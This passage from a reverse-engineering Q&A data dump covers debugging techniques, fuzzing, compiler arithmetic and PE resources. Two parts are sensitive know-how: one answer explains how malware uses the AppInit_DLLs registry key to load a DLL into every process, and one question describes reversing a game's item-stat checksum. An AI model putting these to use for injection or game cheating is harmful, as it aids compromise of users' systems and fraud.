noreferrer&quot;&gt;Agavi&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://cakephp.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;CakePHP&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codeigniter.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;CodeIgniter&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://flow3.typo3.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Flow3&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://fatfree.sourceforge.net&quot; rel=&quot;nofollow noreferrer&quot;&gt;Fat-Free&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://kohanaframework.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Kohana&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://laravel.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Laravel&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://lithify.me/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Lithium&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://symfony.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Symfony&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.yiiframework.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Yii&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://framework.zend.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Zend Framework&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://incubator.apache.org/zetacomponents/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Zeta Components (formerly ezComponents)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.xajax-project.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;xAjax&lt;/a&gt; (simplifies AJAX programming using PHP)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.phpwact.org/php/mvc_frameworks&quot; rel=&quot;nofollow noreferrer&quot;&gt;more …&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Object-Relational Mapping&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Object relational Maps try to solve or mitigate the &lt;a href=&quot;https://secure.wikimedia.org/wikipedia/en/wiki/Object-relational_impedance_mismatch&quot; rel=&quot;nofollow noreferrer&quot;&gt;object-relational impedance mismatch&lt;/a&gt; problem by transparently mapping between table structures in a database and business objects in an application. The more prominent ORMs in the PHP world are (in alphabetical order):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.doctrine-project.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Doctrine&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.propelorm.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Propel&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://secure.wikimedia.org/wikipedia/en/wiki/Redbean_(software)&quot; rel=&quot;nofollow noreferrer&quot;&gt;Redbean&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://secure.wikimedia.org/wikipedia/en/wiki/List_of_object-relational_mapping_software#PHP&quot; rel=&quot;nofollow noreferrer&quot;&gt;more …&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="151" LastEditorUserId="3371" LastEditDate="2017-08-27T20:59:01.290" LastActivityDate="2017-08-27T20:59:01.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1388" PostTypeId="4" CreationDate="2013-03-29T22:13:38.863" Score="0" Body="PHP is an open-source server-side scripting language widely used in web development. Use this tag for questions about PHP functions, syntax and use." OwnerUserId="151" LastEditorUserId="151" LastEditDate="2013-03-30T20:05:45.473" LastActivityDate="2013-03-30T20:05:45.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1390" PostTypeId="2" ParentId="250" CreationDate="2013-03-29T22:59:48.987" Score="19" Body="&lt;p&gt;It's intended to jump to a &lt;em&gt;specific&lt;/em&gt; location, 5 bytes before the mov instruction.  From there, you have 5 bytes which are intended to be modified to a long jump to somewhere else in 32-bit memory space.  Note that when hot-patching, that 5 bytes jump should be placed first, and then the mov can be replaced.  Going the other way, you risk the replaced mov-jmp running first, and jumping to the 5 bytes of whatever happens to be there (it's all nops by default, but you never know).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[addition follows]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding writing the 5 bytes jump - there's also the problem of there is only one instruction that will let you write more than 4 bytes atomically - cmpxchg8b, and that's not an ideal instruction for the purpose.  If you write the 0xe9 first and then a dword, then you have a race condition if the 0xe9 is executed before you place the dword.  Yet another reason to write the long jump first.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastEditorUserId="1323" LastEditDate="2013-04-05T20:44:09.150" LastActivityDate="2013-04-05T20:44:09.150" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1391" PostTypeId="2" ParentId="1380" CreationDate="2013-03-30T02:19:14.437" Score="16" Body="&lt;p&gt;I kind of like your answer about changing the subsystem, especially if you're not a fan of kernel debugging.  I'm a big fan of Windbg, though.  The way I do this is: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Hook up my kernel debugger to a VM&lt;/li&gt;&#xA;&lt;li&gt;Change the first byte of the driver's entry point to be an INT3 (0xCC).&lt;/li&gt;&#xA;&lt;li&gt;Fix-up the PE checksum (I'm a fan of letting &lt;a href=&quot;https://code.google.com/p/pefile/&quot;&gt;pefile&lt;/a&gt; do this work for me).&lt;/li&gt;&#xA;&lt;li&gt;Load the driver in the VM ( &lt;a href=&quot;http://www.osronline.com/article.cfm?article=157&quot;&gt;OSR&lt;/a&gt; has a great driver loader )&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The kernel should call &lt;code&gt;DriverEntry()&lt;/code&gt; on your driver and break into your debugger for you.  Then you can trace the code until you find the OEP as you would have done anyway.  The main advantage I see to this method is that you don't have to fake kernel DLLs or calls that the driver might do during unpacking, and it works on x64.&lt;/p&gt;&#xA;" OwnerUserId="270" LastActivityDate="2013-03-30T02:19:14.437" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1392" PostTypeId="1" AcceptedAnswerId="13592" CreationDate="2013-03-30T02:30:22.320" Score="102" ViewCount="140788" Body="&lt;p&gt;Learning the GDB commands is on my bucket-list, but in the meantime is there a graphical debugger for *nix platforms that &lt;strong&gt;accepts&lt;/strong&gt; Windbg commands, and has similar functionality?  For example, the ability to bring out multiple editable memory windows, automatically disassemble around an area while stepping, set disassembly flavor, and have a window with registers that have editable values?&lt;/p&gt;&#xA;" OwnerUserId="270" LastEditorUserId="36" LastEditDate="2013-03-31T03:00:59.997" LastActivityDate="2023-05-24T21:02:52.660" Title="Decent GUI for GDB" Tags="|debuggers|gdb|" AnswerCount="20" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1393" PostTypeId="1" AcceptedAnswerId="1449" CreationDate="2013-03-30T02:34:20.290" Score="7" ViewCount="629" Body="&lt;p&gt;I love using &lt;a href=&quot;https://code.google.com/p/firmware-mod-kit/&quot; rel=&quot;noreferrer&quot;&gt;firmware-mod-kid&lt;/a&gt; to modify SoHo router firmware.  The problem I encounter is that it often bloats the size of the image.  It appears this happens during the &lt;code&gt;mksquashfs&lt;/code&gt; step.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I'm just unsquashing a filesystem and then resquashing it with the same compression, with no modifications, why is the resulting image larger than the original?&lt;/p&gt;&#xA;" OwnerUserId="270" LastEditorUserId="189" LastEditDate="2013-03-30T04:47:08.943" LastActivityDate="2013-04-01T18:41:10.973" Title="Firmware-Mod-Kit Increases Size" Tags="|firmware|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1394" PostTypeId="2" ParentId="1392" CreationDate="2013-03-30T02:39:53.163" Score="20" Body="&lt;p&gt;I'd like to suggest &lt;a href=&quot;http://www.gnu.org/software/ddd/&quot;&gt;DDD&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you've got source code, you should check out &lt;a href=&quot;http://qt.digia.com/Product/Developer-Tools/&quot;&gt;QTCreator&lt;/a&gt;.  Its debugger is similar to Visual Studio's, if you're familiar with that.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2013-03-30T02:39:53.163" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1395" PostTypeId="1" AcceptedAnswerId="1402" CreationDate="2013-03-30T03:08:00.460" Score="11" ViewCount="2342" Body="&lt;p&gt;How do I debug an executable that uses TLS callbacks?  It's my understanding that these run before my debugger will attach.&lt;/p&gt;&#xA;" OwnerUserId="270" LastEditorUserId="188" LastEditDate="2013-04-02T12:52:38.973" LastActivityDate="2013-04-02T13:22:02.367" Title="Debugging EXE with TLS" Tags="|windows|dynamic-analysis|executable|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1396" PostTypeId="2" ParentId="1392" CreationDate="2013-03-30T03:09:56.297" Score="57" Body="&lt;p&gt;Although some people don't care for its interface, it's worth mentioning that GDB has its own built-in GUI as well (called TUI).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can start GDB in GUI mode with the command: &lt;code&gt;gdb -tui&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick reference to TUI commands may be found here: &lt;a href=&quot;http://beej.us/guide/bggdb/#qref&quot;&gt;http://beej.us/guide/bggdb/#qref&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1313" LastActivityDate="2013-03-30T03:09:56.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1397" PostTypeId="1" AcceptedAnswerId="1430" CreationDate="2013-03-30T07:14:20.033" Score="37" ViewCount="12167" Body="&lt;p&gt;When compiling a division or modulo by a constant, my compiler (LLVM GCC) generates a series of instructions that I don't understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I compile the following minimal examples:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int mod7(int x) {&#xA;    return x % 7;&#xA;}&#xA;&#xA;int div7(int x) {&#xA;    return x / 7;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The following code is generated:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_mod7:&#xA;    push   rbp&#xA;    mov    rbp,rsp&#xA;&#xA;    mov    ecx,0x92492493&#xA;    mov    eax,edi&#xA;    imul   ecx&#xA;    add    edx,edi&#xA;    mov    eax,edx&#xA;    shr    eax,0x1f&#xA;    sar    edx,0x2&#xA;    add    edx,eax&#xA;    imul   ecx,edx,0x7&#xA;    mov    eax,edi&#xA;    sub    eax,ecx&#xA;&#xA;    pop    rbp&#xA;    ret    &#xA;&#xA;&#xA;_div7:&#xA;    push   rbp&#xA;    mov    rbp,rsp&#xA;&#xA;    mov    ecx,0x92492493&#xA;    mov    eax,edi&#xA;    imul   ecx&#xA;    add    edx,edi&#xA;    mov    ecx,edx&#xA;    shr    ecx,0x1f&#xA;    sar    edx,0x2&#xA;    mov    eax,edx&#xA;    add    eax,ecx&#xA;&#xA;    pop    rbp&#xA;    ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How is this mathematically equivalent, and where do the constants come from?&lt;/li&gt;&#xA;&lt;li&gt;What's the easiest way to turn the assembly back in to C (for arbitrary constants on the right-hand side)?&lt;/li&gt;&#xA;&lt;li&gt;How could a tool, such as a decompiler or analysing disassembler, automate this process?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="159" LastActivityDate="2017-02-21T10:39:42.367" Title="How can I reverse optimized integer division/modulo by constant operations?" Tags="|disassembly|static-analysis|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1398" PostTypeId="2" ParentId="1392" CreationDate="2013-03-30T07:42:52.673" Score="12" Body="&lt;p&gt;I don't really like DDD, it's so 90's in it's GUI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to recommend KDBG, which is a KDE frontend to gdb.&#xA;Besides, you might want to take a look at Cgdb, which is a curses extension for gdb.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lately I came across &lt;a href=&quot;http://projects.gnome.org/nemiver/&quot;&gt;Nemiver&lt;/a&gt;, it looks really promising.&lt;/p&gt;&#xA;" OwnerUserId="35" LastEditorUserId="35" LastEditDate="2013-05-05T07:30:47.993" LastActivityDate="2013-05-05T07:30:47.993" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1399" PostTypeId="1" AcceptedAnswerId="1400" CreationDate="2013-03-30T08:03:51.863" Score="13" ViewCount="1799" Body="&lt;p&gt;There are variety of tools that allow editing the resources of Windows executables.&#xA;These tools allow a very easy interface for changing the programs look and feel.&#xA;Replacing icons, text, menus can be easily done without any knowledge in reversing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, what option I have to prevent the resources being so easily edited ?&lt;/p&gt;&#xA;" OwnerUserId="35" LastEditorUserId="188" LastEditDate="2013-04-02T21:33:36.623" LastActivityDate="2013-04-22T12:54:38.683" Title="How to prevent use of Resource editors" Tags="|windows|pe-resources|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1400" PostTypeId="2" ParentId="1399" CreationDate="2013-03-30T08:33:46.683" Score="10" Body="&lt;p&gt;Resources are just a standard structure with defined constants, but in the end, it's just a recursive structure to a buffer, no matter what it contains (&lt;a href=&quot;http://www.slideshare.net/ange4771/ange-albertini-hashdays2012extended/56&quot;&gt;here is the standard layout&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can theoretically contain anything - any depth, loops, invalid types, etc... but then standard APIs will not work with them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you need to make sure that, if you encrypt or compress resources, they need to be restored (both the resource directory structure, and their content) before any of these APIs is used, which might not be obvious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In particular, some resources will be used by the OS even before the file is executed, such as first icons, manifest and version information - so you probably want to keep these intact.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple way to prevent trivial resource editing would be to run a stream cipher on selected resources, on the final binary (after the linker put them in place and generated the resource entry in the DataDirectory), and to restore these resources on demand or on program initialization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're looking for a ready-made solution, many good packers such as &lt;a href=&quot;http://bitsum.com/pecompact.php&quot;&gt;PECompact&lt;/a&gt; support resource compression, thus preventing external resource editing.&lt;/p&gt;&#xA;" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2013-03-30T19:42:54.530" LastActivityDate="2013-03-30T19:42:54.530" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1401" PostTypeId="2" ParentId="1392" CreationDate="2013-03-30T10:12:24.410" Score="30" Body="&lt;p&gt;My opinion is a bit biased but, for debugging assembler, the best GDB 'frontend' out there is IDA (it supports communication with remote GDB targets). For source code debugging, though, I would recommend KDBG.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2013-03-30T10:12:24.410" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1402" PostTypeId="2" ParentId="1395" CreationDate="2013-03-30T11:46:44.000" Score="8" Body="&lt;p&gt;either:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;patch a debug break (CC int3) or an infinite loop (EB FE jmp $) at the start of the TLS&lt;/li&gt;&#xA;&lt;li&gt;try to set a breakpoint as early as possible (like OllyDbg's Options/Events/Make first pause at/System Breakpoint), then set a breakpoint at the TLS' starts&lt;/li&gt;&#xA;&lt;li&gt;use a specific plugin, such as OllyAdvanced for OllyDbg.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note that the conditions for TLS execution are &lt;a href=&quot;http://code.google.com/p/corkami/wiki/PE?show=content#TLS&quot;&gt;tricky&lt;/a&gt;, and debugging might cause an otherwise ignored TLS to be executed.&lt;/p&gt;&#xA;" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2013-03-30T11:52:19.413" LastActivityDate="2013-03-30T11:52:19.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1403" PostTypeId="2" ParentId="1375" CreationDate="2013-03-30T14:00:25.513" Score="4" Body="&lt;p&gt;There are three types of fuzzers:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;mutation fuzzers&lt;/em&gt;, which start with a large list of diverse, good input files and a list of mutations. Then, each file is mutated in some way and passed to the application to see if the app can handle the mutated input. Charlie Miller's 2010 &lt;a href=&quot;https://fuzzinginfo.files.wordpress.com/2012/05/cmiller-csw-2010.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;CanSecWest talk&lt;/a&gt; covers this approach nicely. Generally it's straightforward to roll your own version of a mutation fuzzer for a file format.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;generative fuzzers&lt;/em&gt;, which at their simplest just generate random output. More complex versions will be able to describe protocols and methods for injecting randomness in various fields of the protocols. &lt;a href=&quot;https://github.com/OpenRCE/sulley&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sulley&lt;/a&gt; is a tool in this class. A particularly nice subclass is &lt;em&gt;grammar-based&lt;/em&gt; fuzzers, where you start with a BNF grammar and generate strings by walking the grammar directly.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;whitebox fuzzers&lt;/em&gt; are arguably a different class, where some constraint solver reasons about code paths to generate new inputs for fuzzing. &lt;a href=&quot;https://github.com/MozillaSecurity/avalanche&quot; rel=&quot;nofollow noreferrer&quot;&gt;avalanche&lt;/a&gt; is a publicly available tool for this. (SAGE, the tool that @0xea pointed out, is another example.)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://web.archive.org/web/20220419114422/https://www.ise.io/wp-content/uploads/2018/04/analysisfuzzing.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Another of Miller's papers&lt;/a&gt; has a nice overview of the first two. And you should probably see the &lt;a href=&quot;http://www.fuzzing.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Fuzzing book's website&lt;/a&gt;, which has some software you can start with.&lt;/p&gt;&#xA;" OwnerUserId="169" LastEditorUserId="245" LastEditDate="2022-04-19T11:49:17.617" LastActivityDate="2022-04-19T11:49:17.617" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="1404" PostTypeId="2" ParentId="1375" CreationDate="2013-03-30T14:52:31.263" Score="4" Body="&lt;p&gt;Don't know about the state of the art , but some advances have been in the direction of combining symbolic execution as with &lt;a href=&quot;https://web.archive.org/web/20160311223607/http://research.microsoft.com/en-us/um/people/pg/public_psfiles/cacm2012.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;SAGE&lt;/a&gt; from MS Research (there should be a better paper, but I think it's paywalled). Also &lt;a href=&quot;https://ieeexplore.ieee.org/document/6200194&quot; rel=&quot;nofollow noreferrer&quot;&gt;A Taint Based Approach for Smart Fuzzing&lt;/a&gt; shows how to combine taint analysis for advanced fuzzing (there should be some non-paywalled version around). Also, I expect most people don't really publish their advanced techniques until they exhaust them, which is the main problem of this question.&lt;/p&gt;&#xA;" OwnerUserId="304" LastEditorUserId="13506" LastEditDate="2022-04-19T07:02:14.033" LastActivityDate="2022-04-19T07:02:14.033" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="1405" PostTypeId="1" AcceptedAnswerId="1407" CreationDate="2013-03-30T19:58:10.487" Score="12" ViewCount="850" Body="&lt;p&gt;Let's say I'd like to begin fuzzing Acme Corp's PDF Reader.  I'd like to try to follow what Miller &lt;a href=&quot;http://fuzzinginfo.files.wordpress.com/2012/05/cmiller-csw-2010.pdf&quot;&gt;did&lt;/a&gt; by downloading a bunch of benign PDFs and mutate them.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Miller began by reducing his corpus of PDF samples to a minimum by pruning samples that had similar code coverage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is that specific step done?  That is, how did he determine what was a similar code coverage? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can imagine a tool that traces execution and records JMP/CALLs to get an execution graph, and I suppose you could diff those graphs.  But what about JIT code?  Wouldn't those graphs be very different since the JIT would likely be in different locations in memory?&lt;/p&gt;&#xA;" OwnerUserId="270" LastEditorUserId="189" LastEditDate="2013-03-31T01:10:23.970" LastActivityDate="2013-03-31T01:10:23.970" Title="How do I determine code coverage when fuzzing" Tags="|tools|fuzzing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1406" PostTypeId="2" ParentId="1405" CreationDate="2013-03-30T20:17:45.173" Score="5" Body="&lt;p&gt;Although it is heavily coupled with GCC, the &lt;code&gt;gcov&lt;/code&gt; project is popular as a Linux code coverage tool.  It however requires compiling your program with the &lt;code&gt;-fprofile-arcs -ftest-coverage&lt;/code&gt; flags, which may not be an option if targeting closed source software.  More information may be found here: &lt;a href=&quot;http://gcc.gnu.org/onlinedocs/gcc/Gcov.html&quot;&gt;http://gcc.gnu.org/onlinedocs/gcc/Gcov.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1313" LastActivityDate="2013-03-30T20:17:45.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1407" PostTypeId="2" ParentId="1405" CreationDate="2013-03-30T20:49:59.643" Score="5" Body="&lt;p&gt;Not sure how it fares against application with JIT compiled code, but peach has a &lt;a href=&quot;http://peachfuzzer.com/v3/minset.html&quot;&gt;minset&lt;/a&gt; utility to make a minimal set of files with highest code coverage:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This tool will run each sample file through a target program and determine code coverage. It will then find the least number of files needed to cover the most code. This will be the minimum set of files that should be used when fuzzing.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But as far as I can see it uses the method you proposed, monitoring hits of all basic blocks of the application. It uses a pintool to do this. &lt;/p&gt;&#xA;" OwnerUserId="304" LastActivityDate="2013-03-30T20:49:59.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1408" PostTypeId="2" ParentId="1399" CreationDate="2013-03-30T21:25:25.600" Score="15" Body="&lt;p&gt;An elegant and simple solution would be to &lt;a href=&quot;https://stackoverflow.com/questions/252226/signing-a-windows-exe-file&quot;&gt;sign your executable&lt;/a&gt; and &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/aa382384%28VS.85%29.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;verify the signature&lt;/a&gt; on startup (any change will invalidate the signature). Even if someone patches your signature check, the signature will still be invalid which makes clear that the exe is not the same one you delivered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My other thoughts would be to use an exe packer or to take a checksum on the resources (both were already suggested in @angealbertine answer).&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2013-03-30T21:25:25.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1409" PostTypeId="2" ParentId="1376" CreationDate="2013-03-30T22:33:24.463" Score="9" Body="&lt;p&gt;The implementation of AppInit DLL in windows 7 is as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;user32.dll!ClientThreadSetup&lt;/code&gt; the &lt;code&gt;LoadAppInitDlls&lt;/code&gt; export from kernel32.dll is being called for any process except the LogonProcess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;kernel32.dll!LoadAppInitDlls&lt;/code&gt; checks the &lt;code&gt;LoadAppInit_DLLs&lt;/code&gt; registry key and if set calls &lt;code&gt;BasepLoadAppInitDlls&lt;/code&gt; (except when offset 3 of the &lt;a href=&quot;http://en.wikipedia.org/wiki/Process_Environment_Block&quot;&gt;PEB&lt;/a&gt; has value 2).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;BasepLoadAppInitDlls&lt;/code&gt; calls &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms684179%28v=vs.85%29.aspx&quot;&gt;LoadLibraryEx&lt;/a&gt; for each DLL set in the &lt;code&gt;AppInit_DLLs&lt;/code&gt; registry key. If signing is required (when the &lt;code&gt;RequireSignedAppInit_DLLs&lt;/code&gt; registry value is set) the &lt;code&gt;LOAD_LIBRARY_REQUIRE_SIGNED_TARGET&lt;/code&gt; flag is passed to LoadLibraryEx.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So by setting this registry key, the malware dll will be injected into every process started after setting this key. On previous OS versions AppInit DLL's were not called for non gui/console processes but at least on Windows 7 it's also called for non gui processes.&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2013-03-30T22:33:24.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1410" PostTypeId="1" CreationDate="2013-03-31T00:13:12.507" Score="9" ViewCount="935" Body="&lt;p&gt;Is there a tool available that will generate a grammar from a corpus of sample inputs, similar to what &lt;a href=&quot;http://hotfuzz.sourceforge.net/&quot; rel=&quot;noreferrer&quot;&gt;HotFuzz&lt;/a&gt; does for network protocols?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, given a collection of MP3 files, I'm looking for a tool that would generate a BNF grammar to describe the format of MP3.&lt;/p&gt;&#xA;" OwnerUserId="270" LastEditorUserId="1328" LastEditDate="2013-03-31T20:24:47.403" LastActivityDate="2013-04-02T14:28:08.370" Title="Context-Free Grammar from Samples" Tags="|tools|fuzzing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1411" PostTypeId="1" CreationDate="2013-03-31T00:31:26.880" Score="7" ViewCount="323" Body="&lt;p&gt;If I'm trying to figure out how a program accomplishes a certain task or how it works with an unknown data structure or format, what techniques and tools can I employ to quickly and efficiently locate the binary sections of interest to start answering those questions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a concrete example, say I'm trying to figure out how a game client calculates and validates a checksum. I've observed the following properties without any initial disassembly:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;That checksum is used to validate whether an ingame item stats is legit or not.&lt;/li&gt;&#xA;&lt;li&gt;The checksum is being performed on the client-side.&lt;/li&gt;&#xA;&lt;li&gt;It is a 2-byte checksum.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What I've done is to feed in a particular item with my own checksum signature so it could be identified in memory when I disassemble it. Once I got the location in memory I set a memory breakpoint on it whenever it gets accessed. From there I just backtraced where the control flow was coming from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While it took a long while with a lot of trial-and-error I was eventually able to locate the code section responsible for this checksum calculation and successfully recreated a C-program that does this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another problem with the approach I used is that there could be a lot of 'false positives'. That memory location I'm monitoring could be accessed by various parts of the program that has nothing to do with the checksum calculation -- thus where the trial-and-error comes in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The focus of asking this question is, &lt;strong&gt;is there an easier way to go about this?&lt;/strong&gt; What if I wanted to identify key data structures being used by the program? What about identifying functions and calculations that aren't as 'easily observable'? Not all values being used in the program can be easily isolated using a memory scanner like cheat-engine.&lt;/p&gt;&#xA;" OwnerUserId="1315" LastEditorUserId="151" LastEditDate="2013-03-31T01:54:25.647" LastActivityDate="2013-03-31T11:04:35.597" Title="Available tools &amp; techniques for locating sections of interest in a binary executable" Tags="|disassembly|tools|executable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1412" PostTypeId="5" CreationDate="2013-03-31T01:03:35.627" Score="0" Body="&lt;p&gt;Fuzzing is a software testing technique that involves providing invalid, unexpected, or random data to the inputs of a computer program, then monitoring for exceptions, failed assertions, or memory leaks.  Fuzzing can be employed as part of white-, gray-, or black-box testing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the context of reverse-engineering, fuzzing is often used to discover undocumented features or functionalities, not to say &lt;em&gt;backdoors&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="151" LastEditorUserId="53" LastEditDate="2014-08-19T16:40:30.790" LastActivityDate="2014-08-19T16:40:30.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1413" PostTypeId="4" CreationDate="2013-03-31T01:03:35.627" Score="0" Body="A software testing technique that involves providing invalid, unexpected, or random data to the inputs of a computer system, then monitoring for exceptions, failed assertions, or memory leaks." OwnerUserId="151" LastEditorUserId="53" LastEditDate="2014-08-19T16:38:09.167" LastActivityDate="2014-08-19T16:38:09.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
